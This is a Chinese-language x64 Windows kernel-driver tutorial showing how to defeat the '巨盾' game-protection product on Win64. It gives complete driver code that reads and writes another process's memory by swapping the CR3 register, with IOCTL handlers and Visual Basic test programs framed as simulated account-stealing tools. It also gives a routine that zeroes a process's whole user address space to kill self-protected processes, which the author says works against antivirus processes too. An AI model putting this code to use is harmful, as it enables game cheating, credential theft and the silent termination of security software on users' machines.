x64驅動基礎教程 30
Win64 系統出現後遊戲保護一直是空白,所以很多有保護的遊戲都不能在 64位系統上執行。有天我無意中發現,國內有個名叫“巨盾”的軟體十分厲害,號稱是世界上第一款支援 WIN64 的遊戲保護軟體,被多家媒體廣泛報道(騰訊、新浪、華軍)。我懷著好奇之心測試了一下,結果不出所料,它在 WIN64 上的遊戲保護十分脆弱,基本起不到什麼保護作用(自稱:“巨盾在殺木馬、防盜號、保護網銀和遊戲的帳號密碼安全等方面表現出色”)。我心想,什麼時候國內的遊戲公司和安全公司把準要精力放在研發而不是吹牛上面,那就能和國外的同類軟體有得一拼了(比如 EA 有膾炙人口的“極品飛車”和“孤島危機”系列,而騰訊只有初學電腦的人才玩的“QQ 飛車”和“穿越火線”)。
好了,言歸正傳,首先回顧一下 WIN32 平臺上是怎麼實現遊戲保護的。“遊戲保護”是個比較寬的概念,我的理解有兩種,一是保證玩家利益,保證不被木馬盜號;二是保護開發者的利益,保證不被外掛破壞遊戲的公平性從而影響運營。從技術上說,就是“三防”:一防讀寫程序記憶體,二防注入 DLL,三防模擬按鍵。突破“防止模擬按鍵”可以使用 WinIO 3;突破“防止注入 DLL”可以在核心裡使用 KeInsertQueueApc 來插入 DLL,網上已經有相關的程式碼了;突破“讀寫程序記憶體”的方法比較多了,可以使用插 APC 的方法,也可以使用“CR3 大法”。這兩種方法都是不錯的方法,如果要防禦,很明顯後者更難防禦。今天要詳細介紹的方法,也是後者。
通過把 EPROCESS.KPROCSS.DirectoryTableBase 的值放進 CR3 裡強制切換程序空間的方法在 WIN32 系統上有效, 但在 WIN64 系統上又有了不同之處。首先看看 DirectoryTableBase 在 Widodws 7 x64 上相對於 PKPROCESS 的偏移:
struct _KPROCESS // 37 elements, 0x160 bytes (sizeof) { /*0x000*/ struct _DISPATCHER_HEADER Header; // 29 elements, 0x18 bytes (sizeof) /*0x018*/ struct _LIST_ENTRY ProfileListHead; // 2 elements, 0x10 bytes (sizeof) /*0x028*/ UINT64 DirectoryTableBase; /*0x030*/ struct _LIST_ENTRY ThreadListHead; // 2 elements, 0x10 bytes (sizeof) //... //省略後面的無關部分 //... }
從上面的結構體定義可知, DirectoryTableBase 在 PKRPOCESS 的 0x28 偏移處,而 KPROCESS 是 EPROCESS 的第一個項,所以可以說 DirectoryTableBase 相對於 PEPROCESS 的偏移是 0x28。要強制讀寫程序記憶體時,只要先儲存 CR3 暫存器的舊值,然後把 EPROCESS.KPROCSS.DIRECTORY_TABLE_BASE 的值放進 CR3 暫存器裡,就可以使用 RtlCopyMemory 來操作程序記憶體了。當讀寫完畢後,只要把 CR3暫存器的舊值恢復即可。至於原理,可以去看看 WRK 中關於切換程序空間的原始碼,可發現核心切換程序空間就是這麼實現的。雖然 WRK 裡的相關程式碼非常之長,但核心原理就是這麼簡單。像開啟程序只需要 PsLookupProcessByProcessId 以及ObOpenObjectByPointer,但是 NtOpenProcess 的程式碼卻非常之長。
根據這個原理,我寫出瞭如下程式碼:
#define DIRECTORY_TABLE_BASE 0x028 ULONG64 Get64bitValue(PVOID p) { if (MmIsAddressValid(p) == FALSE) return 0; return *(PULONG64)p; } void KReadProcessMemory(IN PEPROCESS Process, IN PVOID Address, IN UINT32 Length, OUT PVOID Buffer) { ULONG64 pDTB = 0, OldCr3 = 0, vAddr = 0; //Get DTB pDTB = Get64bitValue((UCHAR*)Process + DIRECTORY_TABLE_BASE); if (pDTB == 0) { DbgPrint("[x64Drv] Can not get PDT"); return; } //Record old cr3 and set new cr3 _disable(); OldCr3 = __readcr3(); __writecr3(pDTB); _enable(); //Read process memory if (MmIsAddressValid(Address)) { RtlCopyMemory(Buffer, Address, Length); DbgPrint("[x64Drv] Date read: %ld", *(PDWORD)Buffer); } //Restore old cr3 _disable(); __writecr3(OldCr3); _enable(); } void KWriteProcessMemory(IN PEPROCESS Process, IN PVOID Address, IN UINT32 Length, IN PVOID Buffer) { ULONG64 pDTB = 0, OldCr3 = 0, vAddr = 0; //Get DTB pDTB = Get64bitValue((UCHAR*)Process + DIRECTORY_TABLE_BASE); if (pDTB == 0) { DbgPrint("[x64Drv] Can not get PDT"); return; } //Record old cr3 and set new cr3 _disable(); OldCr3 = __readcr3(); __writecr3(pDTB); _enable(); //Read process memory if (MmIsAddressValid(Address)) { RtlCopyMemory(Address, Buffer, Length); DbgPrint("[x64Drv] Date wrote."); } //Restore old cr3 _disable(); __writecr3(OldCr3); _enable(); }
KReadProcessMemory 和 KWriteProcessMemory 的引數和 WIN32API 中的兩個讀寫程序記憶體的函式的原型大同小異,分別是 EPROCESS、虛擬地址,讀(寫)長度和輸出(輸入)緩衝區。程式碼都做了詳細的註釋,相信大家能一看就懂。其中有兩個需要注意的程式碼細節。
一是我在修改 CR3 暫存器的值時並沒有使用內嵌彙編(當然也確實不支援直接內嵌彙編),而是使用了 WDK 文件裡的函式。這幾個函式(__readcr3()、 __writecr3()、 _enable()、 _disable())在 32 位驅動程式碼裡也能使用,推薦大家在程式設計時儘量使用文件化的函式,而不是直接內嵌彙編;
二是這兩個函式既可以讀寫 32 位程序的記憶體,也可以讀寫 64 位程序的記憶體。在讀寫 32 位程序的記憶體時,把 Address 的高 32 位值置 0,把低 32 位值設定為你要修改的地址。
接下來請大家看看分發函式。為了簡化程式碼,我使用了多個派遣歷程(而不是使用一個派遣歷程通過結構體傳送多個引數),每個派遣例程都傳送一個引數(每個派遣例程的功能從名字上就能看出):
UINT32 idTarget = 0; PEPROCESS epTarget = NULL; UINT32 idGame = 0; PEPROCESS epGame = NULL; UINT32 rw_len = 0; UINT64 base_addr = 0; case IOCTL_InputProcessId: { memcpy(&idGame, pIoBuffer, sizeof(idGame)); DbgPrint("[x64Drv] PID: %ld", idGame); status = PsLookupProcessByProcessId((HANDLE)idGame, &epGame); if (!NT_SUCCESS(status)) DbgPrint("[x64Drv] Cannot get target! Status: %x;EPROCESS: %llx",status,(ULONG64)epGame); else DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx", (ULONG64)epGame); break; } case IOCTL_InputBaseAddress: { memcpy(&base_addr, pIoBuffer, 8); DbgPrint("[x64Drv] Base address: %lld", base_addr); break; } case IOCTL_InputReadWriteLen: { memcpy(&rw_len, pIoBuffer, 4); DbgPrint("[x64Drv] Read/Write length: %ld", rw_len); break; } case IOCTL_KReadProcessMemory: //OutputBuffer { KReadProcessMemory(epGame, (PVOID)base_addr, rw_len, pIoBuffer); if (epGame != NULL) ObDereferenceObject(epGame); break; } case IOCTL_KWriteProcessMemory: //InputBuffer { KWriteProcessMemory(epGame, (PVOID)base_addr, rw_len, pIoBuffer); if (epGame != NULL) ObDereferenceObject(epGame); break; }
接下來編寫測試程式。首先編寫一個程式 A,當作“遊戲”,它的功能就是顯示自己一個 DWORD 型別變數的地址;再編寫一個程式 B,當作“盜號程式”,來讀寫 程 序 A 裡 那個 DWORD 變 量 的 值( 使 用 普通 的 ReadProcessMemory 和WriteProcessMemory);再編寫一個程式 C,使用驅動程式來讀寫程式 A 裡那個DWORD 變數的值, 當作“驅動級盜號程式” 。這三個程式的程式碼都很簡單,我就直接把核心程式碼貼出來不解釋了。
'//程式 A(模擬遊戲) Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Dim dw As Long Private Sub Command1_Click() MsgBox dw, vbInformation End Sub Private Sub Command2_Click() If IsNumeric(Text1.Text) = False Or Trim$(Text1.Text) = "" Then Text1.Text = "" Exit Sub End If If CDbl(Text1.Text) > &H7FFFFFFF Or CDbl(Text1.Text) < 0 Then MsgBox "值異常!請設定 0x0 至 0x7FFFFFFF 之間的值! ", vbCritical Exit Sub End If dw = CLng(Text1.Text) MsgBox "值設定成功! ", vbInformation End Sub '//程式 B(模擬盜號) Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function ReadProcessMemory Lib "kernel32.dll" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32.dll" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Dim h As Long Private Sub Command1_Click() Dim dw As Long ReadProcessMemory h, ByVal CLng(Text1.Text), dw, 4, 0 MsgBox dw, vbInformation End Sub Private Sub Command2_Click() Dim v As Long v = CLng(InputBox("輸入您要設定的值: ", , CStr(&HD2B))) WriteProcessMemory h, ByVal CLng(Text1.Text), v, 4, 0 End Sub Private Sub Command3_Click() h = OpenProcess(&H1F0FFF, 0, CLng(Text2.Text)) If h > 0 Then MsgBox "開啟程序成功!控制代碼: " & CStr(h), vbInformation Else MsgBox "開啟程序失敗! ", vbCritical End If End Sub '//程式 C(驅動級模擬盜號) Public Type LONGLONGWIN low As Long high As Long End Type Private Sub Command1_Click() '//WriteProcessMemory Dim pid As Long pid = CLng(Text1.Text) Dim ba As LONGLONG ba.high = 0 '高 32 位設定為 0 ba.low = CLng(Text2.Text) '低 32 位設定為地址 Dim rw_len As Long rw_len = 4 Dim dw As Long dw = CLng(InputBox("Input a dword:", , CStr(&HD2B))) With DrvController Call.IoControl(.CTL_CODE_GEN(&H801), VarPtr(pid), 4, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H802), VarPtr(ba), 8, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H803), VarPtr(rw_len), 4, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H805), VarPtr(dw), 4, 0, 0) End With End Sub Private Sub Command5_Click() '//ReadProcessMemory Dim pid As Long pid = CLng(Text1.Text) Dim ba As LONGLONG ba.high = 0 '高 32 位設定為 0 ba.low = CLng(Text2.Text) '低 32 位設定為地址 Dim rw_len As Long rw_len = 4 Dim dw As Long dw = 0 With DrvController Call.IoControl(.CTL_CODE_GEN(&H801), VarPtr(pid), 4, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H802), VarPtr(ba), 8, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H803), VarPtr(rw_len), 4, 0, 0) Call.IoControl(.CTL_CODE_GEN(&H804), 0, 4, VarPtr(dw), 4) End With MsgBox dw End Sub
接下來就是正式測試了,首先執行程式 A(模擬遊戲),再執行程式 B(模擬盜號) 和程式 C(驅動級模擬盜號),然後用程式 B 和程式 C 讀取程式 A 指定地址的內容:
關掉這幾個開啟的程式,然後使用“巨盾”保護 Game.exe:
再次執行這幾個程式,可以發現程式 B 失效了,但是程式 C 沒有失效:
就在我準備結束本文時,發現“巨盾”還有可笑的自我保護:
於是我只好再寫幾行程式碼來突破這個可笑的自我保護(程序虛擬地址空間擦除,簡稱 PVASE):
NTSTATUS HwlPVASE64(PEPROCESS Process) { ULONG64 pDTB = 0, OldCr3 = 0, vAddr = 0; //Get DTB pDTB = Get64bitValue((UCHAR*)Process + DIRECTORY_TABLE_BASE); if (pDTB == 0) { DbgPrint("[x64Drv] Can not get PDT"); return STATUS_UNSUCCESSFUL; } //Record old cr3 and set new cr3 _disable(); OldCr3 = __readcr3(); __writecr3(pDTB); _enable(); //P.V.A.S.E for (vAddr = 0; vAddr <= 0x7fffffff; vAddr += 0x1000) { if (MmIsAddressValid((PVOID)vAddr)) { _try { ProbeForWrite((PVOID)vAddr, PAGE_SIZE, PAGE_SIZE); memset((PVOID)vAddr, 0x0, PAGE_SIZE); } _except(1) { continue; } } } //Restore old cr3 _disable(); __writecr3(OldCr3); _enable(); //return status return STATUS_SUCCESS; } case IOCTL_MmKillProcess64: //PVASE 的派遣例程 { __try { memcpy(&idTarget, pIoBuffer, sizeof(idTarget)); DbgPrint("[x64Drv] PID: %ld", idTarget); status = PsLookupProcessByProcessId((HANDLE)idTarget, &epTarget); if (!NT_SUCCESS(status)) { DbgPrint("[x64Drv] Error! Status: %x; EPROCESS: %p", status, epTarget); break; } else { DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx", (ULONG64)epTarget); HwlPVASE64(epTarget); ObDereferenceObject(epTarget); } } __except (EXCEPTION_EXECUTE_HANDLER) { ; } break; }
把“巨盾”主程序 ggsafe.exe 的 PID 填入程式 C 裡,點選“結束程序”,ggsafe.exe 的程序就悄無聲息的退出了,連個出錯的對話方塊都沒有。此方法對其它帶自我保護的程序(如防毒軟體的那些程序) 也有效。順便說一句,如果僅僅是為了突破“巨盾”在 WIN64 上的遊戲保護功能,根本不用什麼驅動,使用者態程式就能達到目的了。甚至說,一個簡單的指令碼或者批處理就行了。“巨盾”沒有登錄檔保護(或者說忽略了),如果把“巨盾”主程式的相容性設定為“WIN95”,它就無法運行了: